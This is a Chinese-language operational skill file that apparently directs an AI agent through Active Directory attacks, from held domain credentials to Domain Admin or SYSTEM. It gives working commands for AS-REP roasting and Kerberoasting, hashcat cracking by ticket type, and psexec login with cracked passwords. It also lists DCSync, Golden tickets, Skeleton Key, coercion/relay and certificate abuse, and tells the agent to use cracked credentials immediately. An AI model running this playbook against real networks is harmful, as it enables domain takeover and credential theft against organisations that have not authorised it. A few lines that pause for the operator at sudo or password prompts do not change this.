pale-knight /ad-attack — 域攻击
scope： 已有域凭据，把 当前这条 AD 链 打到 DA / 等价域控制 / 目标主机 SYSTEM。要到的 TGS/AS-REP 当场按 etype 砸，爆了立刻用，不要切
/creds。不做主机 C2、数据外带、LSASS 配方。▸ 整条链打完后候选只认~/.claude/skills/shared/modules.yaml（modules.py tail）。
工具：../shared/tools.md。CVE 有 DC build 才读 ../shared/cve-enrichment.md。LAPS 读取不在本模块（../ad-recon/references/windows-laps.md，仅当你在做 LAPS 卡片）。Kerberoast 砸票查 -m 才读 ../creds/references/hash-types.md（不换模块）。
走到哪条链再 Read 哪一份，禁止开局全读：
- Kerberos 要票+砸 / 委派 →
references/kerberos-attacks.md - 横移 →
references/lateral-movement.md - ACL →
references/acl-abuse.md - ADCS →
references/adcs.md - dMSA →
references/dmsa.md - 反射 →
references/auth-reflection.md - 身份混淆 →
references/identity-confusion.md - WAC →
references/management-plane.md - Coercion/Relay →
references/authentication-coercion-relay.md
开局与收尾
开局第一件事：Read ./notes.md。没有则 python ~/.claude/skills/bin/notes.py init。只按已拿下/凭据继续。
走到哪条链，才 Read 一份 references/<file>.md。禁止开局全读、禁止凭记忆写 payload。
监听 / sudo / 输密码 / Permission denied：立刻停，说明等操作者做什么，等回报。不要假装已成功。
收尾：
- 追加
./notes.md python ~/.claude/skills/bin/modules.py tail <本模块名>Read 备用：~/.claude/skills/shared/modules.yaml禁止./modules.yaml和python ../bin/...- 优先
default_next；never_default不得当作默认（操作者点名除外） - 名册外的名字不许建议
- 停。等操作者选
/模块或/clear/edr-bypass半条链未完：打通后回本模块，不要 /clear。
0. 成功条件
当前选中的 AD 链打到目标身份或 DA/主机 SYSTEM。DCSync、Golden、RBCD、Shadow、ESC8/11、Certighost 都是攻击原语。会改密的标 IMPACT/RESTORE。
不算： 只列出 SPN、只把 TGS 写到磁盘、只 Coercer scan、只 certipy find。
要票 → 看 etype → hashcat 砸出明文/NT → PTH/PTT/WinRM/ACL
↑______________ 全部留在 /ad-attack ______________↑
砸不出来 → 记 notes，换本模块下一条路径。不要因此去 /creds。
独立「我手上有一堆无关 hash 要当凭据作业」才由操作者另选 /creds。
0.5 EDR
SMB/LDAP signing、Kerberos 策略、EPA、ACL = 本模块。
PTH/WinRM/PsExec 已经在目标 OS 执行 被 AV 杀 → /edr-bypass → 回本模块把这条 AD 链打完。
1. 决策树
只有用户列表 → AS-REP 要票+当场砸 → 用爆出的口令继续
任意域用户 → Kerberoast 要票+看 etype+当场砸 → 用服务账继续
委派 → references/kerberos-attacks.md
可 coerce / 入站 NTLM → references/authentication-coercion-relay.md
LDAP/ADCS sink 在这里打完（RBCD/Shadow/ESC8）
票/NT 可登录 → references/lateral-movement.md
ACL 可写 → references/acl-abuse.md
ADCS 模板/CA → references/adcs.md
2025 DC / dMSA → references/dmsa.md
Ghost SPN / 反射 → references/auth-reflection.md
可写 UPN + 未补 DC → references/identity-confusion.md
WAC → references/management-plane.md
要域持久化 → DCSync/Golden/Shadow
跨域 → extra-sid
2. 要票 + 当场砸 + 接着用
impacket-GetNPUsers corp.com/ -usersfile users.txt -dc-ip DC -format hashcat -outputfile asrep.hash
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
impacket-GetUserSPNs corp.com/jen:'pass' -dc-ip DC -request -outputfile tgs.hash
grep -o '\$krb5tgs\$[0-9]*\$' tgs.hash
# etype 23
hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt
# etype 17
hashcat -m 19600 tgs.hash /usr/share/wordlists/rockyou.txt
# etype 18
hashcat -m 19700 tgs.hash /usr/share/wordlists/rockyou.txt
不要默认所有 TGS 都是 RC4。完整委派链、失败换路 → references/kerberos-attacks.md。字典/规则细节可 Read ../creds/references/offline-crack.md，继续在本模块跑 hashcat。
爆了立刻：
nxc smb DC -u svc_sql -p 'CrackedPass!'
impacket-psexec corp.com/svc_sql:'CrackedPass!'@TARGET
或 NT 已出 → PTH，见 references/lateral-movement.md。不要停下来等人选 /creds。
3. Coercion / Relay
PetitPotam / PrinterBug / DFSCoerce / Coercer → LDAP/SMB/ADCS sink：本模块打完 到 SYSTEM/RBCD/证书。不要交回 /creds。
→ references/authentication-coercion-relay.md。2025 新建域默认 LDAP signing，先做 policy gate。
4. 横移 / ACL / 持久化
→ references/lateral-movement.md。落地被杀 → EDR 后回来。
ACL → references/acl-abuse.md，改密要 RESTORE。
DCSync / NTDS 有复制权限时打（不是 /creds 收割）
Golden / Silver 有 krbtgt 或服务 NT 之后
Shadow Credentials GenericWrite
Skeleton Key DC 内存，重启失效，高 IMPACT
5. 2026 证书 / dMSA / 反射
ADCS ESC1–17 / Certighost → references/adcs.md
dMSA / BadSuccessor → references/dmsa.md
反射 / CVE-2026-26128 → references/auth-reflection.md
ResetNightmare 会真改密 → references/identity-confusion.md
WAC 无稳定端到端 PoC → references/management-plane.md，不编命令。
6. 完成后
写入 ./notes.md。候选只按「开局与收尾」跑 python ~/.claude/skills/bin/modules.py tail。